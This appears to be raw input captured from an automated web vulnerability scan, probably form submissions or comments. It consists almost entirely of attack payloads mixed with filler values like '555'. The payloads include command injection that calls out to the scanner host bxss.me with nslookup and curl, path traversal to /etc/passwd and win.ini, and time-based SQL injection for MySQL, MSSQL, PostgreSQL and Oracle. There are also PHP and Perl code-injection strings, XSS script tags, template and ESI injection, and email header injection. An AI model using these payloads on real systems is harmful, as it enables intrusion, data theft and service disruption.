555

response.write(9199693*9178603)

echo hiecue$() woosjsnz^xyu||a #' &echo hiecue$() woosjsnz^xyu||a #|" &echo hiecue$() woosjsnz^xyu||a #

'+response.write(9199693*9178603)+'

&echo hnkbrd$() myqajunz^xyu||a #' &echo hnkbrd$() myqajunz^xyu||a #|" &echo hnkbrd$() myqajunz^xyu||a #

"+response.write(9199693*9178603)+"

QAU4vwNN

555&echo abrrnv$() kxuspvnz^xyu||a #' &echo abrrnv$() kxuspvnz^xyu||a #|" &echo abrrnv$() kxuspvnz^xyu||a #

|echo bmtsfu$() qijivgnz^xyu||a #' |echo bmtsfu$() qijivgnz^xyu||a #|" |echo bmtsfu$() qijivgnz^xyu||a #

555

555|echo ekycpe$() vwiyzhnz^xyu||a #' |echo ekycpe$() vwiyzhnz^xyu||a #|" |echo ekycpe$() vwiyzhnz^xyu||a #

(nslookup -q=cname hitislhwhdfnk92b37.bxss.me||curl hitislhwhdfnk92b37.bxss.me))

555

../../../../../../../../../../../../../../etc/passwd

$(nslookup -q=cname hitwtzpslvgea8c56a.bxss.me||curl hitwtzpslvgea8c56a.bxss.me)

555

../../../../../../../../../../../../../../windows/win.ini

&nslookup -q=cname hitxddswyybqi63346.bxss.me&'"`0&nslookup -q=cname hitxddswyybqi63346.bxss.me&`'

555

file:///etc/passwd

&(nslookup -q=cname hitptghewodque9c86.bxss.me||curl hitptghewodque9c86.bxss.me)&'"`0&(nslookup -q=cname hitptghewodque9c86.bxss.me||curl hitptghewodque9c86.bxss.me)&`'

555

|(nslookup -q=cname hittlkozsngyw5f1a7.bxss.me||curl hittlkozsngyw5f1a7.bxss.me)

555
bcc:0.45-211405.45.491f4.20268.2@bxss.me

../555

`(nslookup -q=cname hitawmchmhlal2a268.bxss.me||curl hitawmchmhlal2a268.bxss.me)`

to@example.com>
bcc:0.45-211406.45.491f4.20268.2@bxss.me

;(nslookup -q=cname hitxpbjxkshema66c4.bxss.me||curl hitxpbjxkshema66c4.bxss.me)|(nslookup -q=cname hitxpbjxkshema66c4.bxss.me||curl hitxpbjxkshema66c4.bxss.me)&(nslookup -q=cname hitxpbjxkshema66c4.bxss.me||curl hitxpbjxkshema66c4.bxss.me)

12345'"'");|]*{
<>

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

555

555

555

555

555

${9999981+9999859}

555

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555

555&n911218=v983938

)

555

/etc/shells

!(()&&!|*|*|

555

c:/windows/win.ini

^(#$!@#$)(()))******

555

bxss.me

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

'"()

555

555'&&sleep(27*1000)*iwvlfu&&'

555"&&sleep(27*1000)*qrjapo&&"

555'||sleep(27*1000)*hiftht||'

555"||sleep(27*1000)*yinacv||"

'.gethostbyname(lc('hitfk'.'etrwrgft773ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(71).chr(110).chr(66).'

555

".gethostbyname(lc("hitbu"."avxdaifb07056.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(78).chr(110).chr(80)."

-1 OR 2+344-344-1=0+0+0+1 --

555

555

-1 OR 2+329-329-1=0+0+0+1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

-1' OR 2+651-651-1=0+0+0+1 --

-1' OR 2+948-948-1=0+0+0+1 or '10d7WxqL'='

';print(md5(31337));$a='

555

";print(md5(31337));$a="

-1" OR 2+451-451-1=0+0+0+1 --

555

bxss.me/t/xss.html?%00

${@print(md5(31337))}

${@print(md5(31337))}

555

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(117).concat(73).concat(98).concat(76)+(require"socket"
Socket.gethostbyname("hitkp"+"ezxsdbjo7713d.bxss.me.")[3].to_s)+"

555

555

'+'A'.concat(70-3).concat(22*4).concat(97).concat(74).concat(105).concat(87)+(require'socket'
Socket.gethostbyname('hitik'+'yjafutxw58ca8.bxss.me.')[3].to_s)+'

555

555

555

555

555

reply

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

reply

555

reply/.

555

555

555

555

555

xfs.bxss.me

555

'"

<!--

555

555

555

555

555

555

555

555

555

555'"()&%<zzz><ScRiPt >BYZ2(9299)</ScRiPt>

555

555

555

555

'"()&%<zzz><ScRiPt >BYZ2(9848)</ScRiPt>

555

555

5559014081

555

if(now()=sysdate(),sleep(15),0)

555

555

555

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

5ab5C7oI'; waitfor delay '0:0:15' --

-5 OR 977=(SELECT 977 FROM PG_SLEEP(15))--

-5) OR 100=(SELECT 100 FROM PG_SLEEP(15))--

-1)) OR 913=(SELECT 913 FROM PG_SLEEP(15))--

7zVHuahK' OR 992=(SELECT 992 FROM PG_SLEEP(15))--

gSh36e1v') OR 518=(SELECT 518 FROM PG_SLEEP(15))--

TlImWdPL')) OR 206=(SELECT 206 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@1IXmE

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9930062*9085993)

echo ucdntu$() txkzpbnz^xyu||a #' &echo ucdntu$() txkzpbnz^xyu||a #|" &echo ucdntu$() txkzpbnz^xyu||a #

'+response.write(9930062*9085993)+'

j2IXCb3q

&echo vhkbbc$() dgonjwnz^xyu||a #' &echo vhkbbc$() dgonjwnz^xyu||a #|" &echo vhkbbc$() dgonjwnz^xyu||a #

"+response.write(9930062*9085993)+"

555&echo sxpskt$() jrlmdunz^xyu||a #' &echo sxpskt$() jrlmdunz^xyu||a #|" &echo sxpskt$() jrlmdunz^xyu||a #

|echo cqmecq$() sziexcnz^xyu||a #' |echo cqmecq$() sziexcnz^xyu||a #|" |echo cqmecq$() sziexcnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555|echo pqzieq$() pzoyrknz^xyu||a #' |echo pqzieq$() pzoyrknz^xyu||a #|" |echo pqzieq$() pzoyrknz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

(nslookup -q=cname hitjztssmelgfc92cc.bxss.me||curl hitjztssmelgfc92cc.bxss.me))

file:///etc/passwd

$(nslookup -q=cname hitiygxslvdzv4ca2e.bxss.me||curl hitiygxslvdzv4ca2e.bxss.me)

555

&nslookup -q=cname hitttlntaeyhr8bd1b.bxss.me&'"`0&nslookup -q=cname hitttlntaeyhr8bd1b.bxss.me&`'

../555

&(nslookup -q=cname hituhtlkkgnkm9485e.bxss.me||curl hituhtlkkgnkm9485e.bxss.me)&'"`0&(nslookup -q=cname hituhtlkkgnkm9485e.bxss.me||curl hituhtlkkgnkm9485e.bxss.me)&`'

555
bcc:0.45-226769.45.491f4.20268.2@bxss.me

|(nslookup -q=cname hithplyxigbkmdc509.bxss.me||curl hithplyxigbkmdc509.bxss.me)

to@example.com>
bcc:0.45-226770.45.491f4.20268.2@bxss.me

`(nslookup -q=cname hitpkwoiunxrn1746c.bxss.me||curl hitpkwoiunxrn1746c.bxss.me)`

;(nslookup -q=cname hiteyybalsprec13dc.bxss.me||curl hiteyybalsprec13dc.bxss.me)|(nslookup -q=cname hiteyybalsprec13dc.bxss.me||curl hiteyybalsprec13dc.bxss.me)&(nslookup -q=cname hiteyybalsprec13dc.bxss.me||curl hiteyybalsprec13dc.bxss.me)

555

555

12345'"'");|]*{
<>

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${9999636+10000457}

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555&n968532=v952309

)

555

!(()&&!|*|*|

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

555

bxss.me

555

'.gethostbyname(lc('hitwk'.'hrjgvxgs85127.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(78).chr(116).chr(79).'

555

".gethostbyname(lc("hitfk"."tvpwayycd0fbb.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(72).chr(115).chr(83)."

'"()

555'&&sleep(27*1000)*bglprt&&'

555"&&sleep(27*1000)*zmwjdg&&"

555'||sleep(27*1000)*rsgzxc||'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555"||sleep(27*1000)*pdqtug||"

bxss.me/t/xss.html?%00

';print(md5(31337));$a='

";print(md5(31337));$a="

555

${@print(md5(31337))}

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(119).concat(73)+(require"socket"
Socket.gethostbyname("hitom"+"jejacgsb70371.bxss.me.")[3].to_s)+"

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(100).concat(80).concat(105).concat(66)+(require'socket'
Socket.gethostbyname('hitpm'+'fslzwtxta900d.bxss.me.')[3].to_s)+'

reply

555

reply

-1 OR 2+580-580-1=0+0+0+1 --

reply/.

-1 OR 2+449-449-1=0+0+0+1

555

-1' OR 2+762-762-1=0+0+0+1 --

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

-1' OR 2+531-531-1=0+0+0+1 or '08fGHabT'='

555

-1" OR 2+527-527-1=0+0+0+1 --

555

xfs.bxss.me

'"

555

<!--

555

555

555'"()&%<zzz><ScRiPt >QQO8(9447)</ScRiPt>

'"()&%<zzz><ScRiPt >QQO8(9961)</ScRiPt>

5559251079

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

XZjALkSP'; waitfor delay '0:0:15' --

-5 OR 753=(SELECT 753 FROM PG_SLEEP(15))--

-5) OR 436=(SELECT 436 FROM PG_SLEEP(15))--

-1)) OR 552=(SELECT 552 FROM PG_SLEEP(15))--

QDu0966b' OR 368=(SELECT 368 FROM PG_SLEEP(15))--

efRhA1LI') OR 809=(SELECT 809 FROM PG_SLEEP(15))--

FoAvJmBJ')) OR 605=(SELECT 605 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@gevzO

555

555

555

555

555

555

555